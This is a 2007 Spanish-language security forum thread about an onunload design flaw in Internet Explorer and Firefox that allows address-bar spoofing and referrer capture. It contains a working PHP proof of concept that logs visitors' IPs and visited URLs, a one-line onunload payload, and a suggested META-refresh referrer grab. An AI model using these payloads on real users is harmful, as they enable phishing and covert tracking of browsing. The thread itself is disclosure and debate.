elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
14 Febrero 2012, 09:51  


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Bugs y Exploits (Moderador: berz3k)
| | |-+  Internet Explorer y Mozilla Firefox: Error de diseño en OnUnload
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] 2 Ir Abajo Respuesta Imprimir
Autor Tema: Internet Explorer y Mozilla Firefox: Error de diseño en OnUnload  (Leído 6,006 veces)
yeikos


Desconectado Desconectado

Mensajes: 1.424



Ver Perfil
Internet Explorer y Mozilla Firefox: Error de diseño en OnUnload
« en: 20 Octubre 2007, 16:52 »

Citar

   Internet Explorer y Mozilla Firefox: Error de diseño en OnUnload
   
     [Descripción]

        Tanto el navegador Internet Explorer como Mozilla Firefox son propensos a una vulnerabilidad la cual podría
        ser utilizada por un atacante para simular la entrada en una páginas Web aparentemente original, en caso de
        Internet Explorer, y para capturar las referencias en caso de Mozilla Firefox. Ambas vulnerabilidades se
        presentan en el evento OnUnload, que al contrario de su hermano OnLoad, éste se inicia momentos
        antes de que la ventana activa vaya a desaparecer, ya sea mediante un hipervínculo, la introducción de una
        nueva página web en la barra de direcciones, etcétera.

        La explotación en sí se basa en la creación de una nueva corriente de salida al iniciarse el evento OnUnLoad.
        Con javascript, esto es posible mediante el objeto document y en el método open,
        los cuales crearán la nueva corriente de salida para que a continuación podamos escribir en ella mediante
        el método write. Llegado a este punto la explotación se divide en dos caminos, pues como bien se dijo
        anteriormente, la reacción de los navegadores es diferente. En el caso de Mozilla Firefox, no es posible la
        ejecución directa de código arbitrario en la nueva página creada mediante el método open de javascript,
        pero si es posible realizar llamadas del tipo de redirección; location.href.

        Traducido a un lenguaje más coloquial, cuando el usuario visite la página Web maliciosa y éste introduzca una
        página Web en la barra de direcciones, o pinche en algún hipervinculo, siempre y cuando sea la misma ventana en
        la que se cargó la página Web maliciosa, será posible la obtención de esa página Web visitada.

        Página Web maliciosa (1) ---> Página Web visitada (2) ---> Redirección (3) ---> Obtención de la referencia (4)

        En Internet Explorer no es posible obtener la referencia, pero ello no implica que el impacto haya disminuido,
        pues por otra parte si es posible la alteración a simple vista de la página Web visitada. Cuando digo a
        simple vista es por que en realidad no hay ninguna alteración, pues no se tiene el control de ésta, lo digo porque
        el usuario verá en la barra de direcciones la página web que introdució, solo que el contenido no corresponderá
        a la página Web original, si no a la que nosotros queramos.

        Lamentablemente esto podría contribuir al phising...

     [Versiones no afectadas]
        - Microsoft Internet Explorer 7.0
        - Mozilla Firefox 2.0.0.8
      
     [Enlaces]

        - Advisory: http://www.securityfocus.com/archive/1/461437
        - Prueba del concepto (FF & IE): http://ns2.elhacker.net/yeikos/poc/onunload/
        - Prueba del concepto (FF): http://lcamtuf.coredump.cx/ietrap/ff/
        - Prueba del concepto (IE): http://lcamtuf.coredump.cx/ietrap/

« Última modificación: 1 Noviembre 2007, 19:46 por sirdarckcat » En línea
yeikos


Desconectado Desconectado

Mensajes: 1.424



Ver Perfil
Re: Internet Explorer y Mozilla Firefox: Error de diseño en OnUnload
« Respuesta #1 en: 20 Octubre 2007, 16:59 »

Código
<?php
session_start();
 
/*
Discovery by Michal Zalewski <lcamtuf(at)coredump(dot)cx>
Proof of Concept create by yeikos <yeikos(at)gmail(dot)com>
 
Original source code from PoC are in http://lcamtuf.coredump.cx
*/

 
$URL = "http://127.0.0.1/poc/";
 
$msg['Main'] = "Ingresa en una página Web a través de la barra de direcciones del navegador...";
$msg['Alert'] = "Usted no se encuentra en la página Web originaria...";
$msg['Error'] = "La versión que corresponde a su navegador no es vulnerable...";
 
$ag = $_SERVER['HTTP_USER_AGENT'];
 
if (eregi("Firefox/2.0.0.8", $ag) || eregi("MSIE 7.0", $ag)) {
die($msg['Error']);
}
 
switch ($_GET['act']) {
 
case 1:
$_SESSION['check'] = 1;
header("Content-type: text/javascript");
die("location.href = '".$URL."';");
break;
 
case 2:
if (eregi("Firefox", $ag)) {
$script = "<script src=\"".$URL."?act=1\"></'+'script>";
} elseif (eregi("MSIE", $ag)) {
$script = $msg['Alert'];
} else {
$script = $msg['Error'];
}
 
header("Content-type: text/javascript");
die("function fncMain() {\n document.open();\n".
"document.write('".$script."');\n".
"document.close();\n}");
break;
 
}
 
if (!empty($_SESSION['check'])) {
 
if ($_SERVER['HTTP_REFERER'] != $URL && !empty($_SERVER['HTTP_REFERER'])) {
$rf = ($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : 'Ninguna';
$dt = date("d/m/Y H:i:s");
$ip = ($_SERVER['HTTP_X_FORWARDED_FOR']) ?  $_SERVER['HTTP_X_FORWARDED_FOR'] : $_SERVER['REMOTE_ADDR'];
 
$fp = fopen ("access.log", "a");
fwrite($fp, "Fecha: $dt\r\nDirección IP: $ip\r\nReferencia: $rf\r\nUser-Agent: $ag\r\n\r\n");
fclose($fp);
 
session_unset();
session_destroy();
 
header("location: ".$rf); exit();
}
}
 
echo "<html>
 
<!--
Discovery by Michal Zalewski <lcamtuf(at)coredump(dot)cx>
Proof of Concept create by yeikos <yeikos(at)gmail(dot)com>
 
Original source code of PoC are in http://lcamtuf.coredump.cx
Visit http://foro.elhacker.net!
-->
 
<body onUnload=\"fncMain();\">
 
<script src=\"$URL?act=2\"></script>
 
"
.$msg['Main']."
 
</body>
 
</html>"
;
 
?>
« Última modificación: 1 Noviembre 2007, 22:21 por yeikos » En línea
sirdarckcat
Troll Buena Onda y
CoAdmin
***
Desconectado Desconectado

Mensajes: 6.946


Lavando Platos


Ver Perfil WWW
Re: Internet Explorer y Mozilla Firefox: Error de diseño en OnUnload
« Respuesta #2 en: 20 Octubre 2007, 22:00 »

ja, que codigo mas largo para algo tan facil xD
Código
<body onunload="(function(){try{with(document)close(write((!open())||'larga vida a santa claus'));}catch(e){location='javascript:void(location=\'http://www.elhacker.net/\')';}})();">
lo mas bonito de todo es que en firefox se desactiva la flechita de "atras" porque se genera un wyciwyg, en iexplorer santa claus vive para siempre, y en opera no pasa nada jaja

Saludos!!

**edit, subi un poc con el codigo citado.
http://www.sirdarckcat.net/pocredir.html
« Última modificación: 20 Octubre 2007, 22:03 por sirdarckcat » En línea

lll_swamp_lll

Desconectado Desconectado

Mensajes: 79



Ver Perfil
Re: Internet Explorer y Mozilla Firefox: Error de diseño en OnUnload
« Respuesta #3 en: 20 Octubre 2007, 22:12 »

Citar
EXPLOITATION UNSUCCESSFUL
Your browser is probably not vulnerable.

Help/About =
Citar
Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.6) Gecko/20061201 Firefox/2.0.0.6 (Ubuntu-feisty)

Con no-script deshabilitado.
En línea

yeikos


Desconectado Desconectado

Mensajes: 1.424



Ver Perfil
Re: Internet Explorer y Mozilla Firefox: Error de diseño en OnUnload
« Respuesta #4 en: 20 Octubre 2007, 22:17 »

Es largo porque es prácticamente 100% efectivo, también lo podía haber resumido en unas escasas líneas pero es que la idea no era esa, pues para eso ya están los PoC Michal Zalewski...

lll_swamp_lll, si usas esa versión del Mozilla Firefox tiene que ser vulnerable, prueba a utilizar el código PHP que publiqué, así saldrás de dudas.
En línea
lll_swamp_lll

Desconectado Desconectado

Mensajes: 79



Ver Perfil
Re: Internet Explorer y Mozilla Firefox: Error de diseño en OnUnload
« Respuesta #5 en: 20 Octubre 2007, 22:23 »

Probé el de sirdarckat y el otro que habias publicado arriba:

http://lcamtuf.coredump.cx/ietrap/ff/
http://www.sirdarckcat.net/pocredir.html

El de lcamtuf me decía que no era vulnerable y la web de sirdarckat me redireccionó a elhacker.net pero nada de spoof... de verdad fuí a parar a la web.

SDC puedes modificar el codigo para que se vea una pagina y un host diferente? o también falló tu código?

yeikos.. no tengo donde subir el php... no tengo servidr.
En línea

sirdarckcat
Troll Buena Onda y
CoAdmin
***
Desconectado Desconectado

Mensajes: 6.946


Lavando Platos


Ver Perfil WWW
Re: Internet Explorer y Mozilla Firefox: Error de diseño en OnUnload
« Respuesta #6 en: 20 Octubre 2007, 23:40 »

yeikos:
nah, es igual

swamp:
lo que pasa es que en firefox la "vulnerabilidad" no existe xD
solo puedes redirigir a un sitio "similar".

Saludos!!
En línea

yeikos


Desconectado Desconectado

Mensajes: 1.424



Ver Perfil
Re: Internet Explorer y Mozilla Firefox: Error de diseño en OnUnload
« Respuesta #7 en: 23 Octubre 2007, 15:41 »

Que no se pueda ejecutar código arbitrario en el ordenador del usuario no quiere decir que deje de ser una vulnerabilidad...

Originalmente es un fallo de diseño, y se convierte en vulnerabilidad por que explotando ese fallo de diseño podemos obtener una información supuestamente inaccesible.

Ya he subido la prueba del concepto dinámica; tanto para Mozilla Firefox como para Internet Explorer.

Citar
« Última modificación: 23 Octubre 2007, 15:59 por yeikos » En línea
sirdarckcat
Troll Buena Onda y
CoAdmin
***
Desconectado Desconectado

Mensajes: 6.946


Lavando Platos


Ver Perfil WWW
Re: Internet Explorer y Mozilla Firefox: Error de diseño en OnUnload
« Respuesta #8 en: 23 Octubre 2007, 19:55 »

no es cierto, eso no es una vulnerabilidad, hay que aprender a diferencial bugs de vulnerabilidades que son cosas distintas, y muy diferentes, en internet explorer el error permite dejar contenido en la bara de direcciones, en firefox no pasa nada, y cuando digo nada, es NADA, lo que hace es lo que se espera que haga, talves debería de borrar el referrer, pero ninguna información importante se revela por este proceso, punto.
En línea

yeikos


Desconectado Desconectado

Mensajes: 1.424



Ver Perfil
Re: Internet Explorer y Mozilla Firefox: Error de diseño en OnUnload
« Respuesta #9 en: 24 Octubre 2007, 22:08 »

Sigo discrepando con tus comentarios, quizás estemos enfocando el asunto desde distintos puntos de vista...

El fallo en Mozilla Firefox e Internet Explorer reside en el evento OnUnLoad, llegado a este punto, cada navegador interpreta ésta actuación de una manera diferente, pudiendo en Internet Explorer dejar intacta la barra de direcciones con un contenido diferente y en Mozilla Firefox, dada las condiciones, obtener la referencia.

El impacto que produce estos fallos de diseño son diferentes con respecto a su nivel de peligrosidad, pero por ello, como ya dije, no deja de ser una vulnerabilidad.

Visito una página Web maliciosa, inconscientemente, y pasado un rato me dispongo a ingresar en...

a) http://mywebsite.com/login.php?user=john&pass=0001&submit=send

b) http://81.125.XX.XX/phpmyadmin/

c) http://mywebsite.com/?sessid=8o46j9k74jk7694v

d) http://mywebsite.com/test/betacode.asp

¿Me vas a decir que ninguno de los tres casos anteriores podría poner en peligro mi seguridad? Por que la privacidad ya la corrompe obteniendo la dirección, lo que suceda después de obtener esa información es algo circunstancial.
En línea
sirdarckcat
Troll Buena Onda y
CoAdmin
***
Desconectado Desconectado

Mensajes: 6.946


Lavando Platos


Ver Perfil WWW
Re: Internet Explorer y Mozilla Firefox: Error de diseño en OnUnload
« Respuesta #10 en: 25 Octubre 2007, 03:15 »

siento decirte que hay otras formas de obtener la "referencia" (referrer) de una página al momento de abandonarla desde firefox, iexplorer y opera, que no son vulnerabilidades, sino "features".. desde opener hasta intervalos asincronos.

nb,f

Saludos!!
En línea

WHK
吴阿卡
Moderador Global
***
Desconectado Desconectado

Mensajes: 3.944


The Hacktivism is not a crime


Ver Perfil WWW
Re: Internet Explorer y Mozilla Firefox: Error de diseño en OnUnload
« Respuesta #11 en: 25 Octubre 2007, 05:48 »

No me funciona el supuesto bug... me dice que no soy vulnerable.
De todas formas inyectas un <META HTTP-EQUIV=refresh content=0;URL=web.com/get.php> y con eso ya tienes su referer completo.

De todas formas no veo de que forma pueda explotarse ya que si puedes ejecutar scripts mejor te aprobechas de algo bueno y te creas un código mas eficiente que te haga de igual manera la redirección o un script que discrimine exploradores.

Bug inexplotable o incompatibilidad por defecto para mi.
En línea


sirdarckcat
Troll Buena Onda y
CoAdmin
***
Desconectado Desconectado

Mensajes: 6.946


Lavando Platos


Ver Perfil WWW
Re: Internet Explorer y Mozilla Firefox: Error de diseño en OnUnload
« Respuesta #12 en: 25 Octubre 2007, 06:16 »

ampliando esto, si habia dicha vulnerabilidad en firefox..

http://kuza55.blogspot.com/2007/03/trapping-mozilla-for-phishing.html

descubierta por kuza.. que platicando con el.. y en su opinion, el ejemplo de zalewski para firefox es explotable solo si se encontrara algun servicio vulnerable a sessionsafe por javascript de forma directa (como google, pero google si borra referrer).. si alguien encuentra dicho servicio, existe la vulnerabilidad, sino, no.. y en todo caso la vulnerabilidad estaria en dicho servicio y no en firefox.

Saludos!!
En línea

yeikos


Desconectado Desconectado

Mensajes: 1.424



Ver Perfil
Re: Internet Explorer y Mozilla Firefox: Error de diseño en OnUnload
« Respuesta #13 en: 25 Octubre 2007, 15:24 »

Acogiendo tu teoría de feature, la cual la veo como una manera más de clasificar una vulnerabilidad, por qué en todos los documentos oficiales que hacen referencia a este fallo aparece la palabra vulnerability y no feature...

Citar
To test for the vulnerability, try navigating to wikipedia.org. You will be invariably taken to a typosquatter site instead. You can also experiment with other URLs.

Citar
MSIE browser entrapment vulnerability demo

Siento curiosidad por el tema y creo que seria importante matizarlo un poco para que éstos puedan ser clasificados con acuerdo a su conducta.
En línea
sirdarckcat
Troll Buena Onda y
CoAdmin
***
Desconectado Desconectado

Mensajes: 6.946


Lavando Platos


Ver Perfil WWW
Re: Internet Explorer y Mozilla Firefox: Error de diseño en OnUnload
« Respuesta #14 en: 25 Octubre 2007, 18:28 »

lo que pasa es que si yo llego mañana y digo que poder ver document.referrer es una vulnerabilidad, y la publico en mi blog, o en una mailing list, en 1 semana, habrá miles de copias de mi articulo citando esto como vulnerabilidad.. y algunos creeran ciegamente esto.. se debe analizar que tan peligroso es poder ver un referrer, y en todo caso sería una vulnerabilidad universal que no tiene ningun tipo de peligrosidad.
En línea

Páginas: [1] 2 Ir Arriba Respuesta Imprimir 

Ir a:  
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines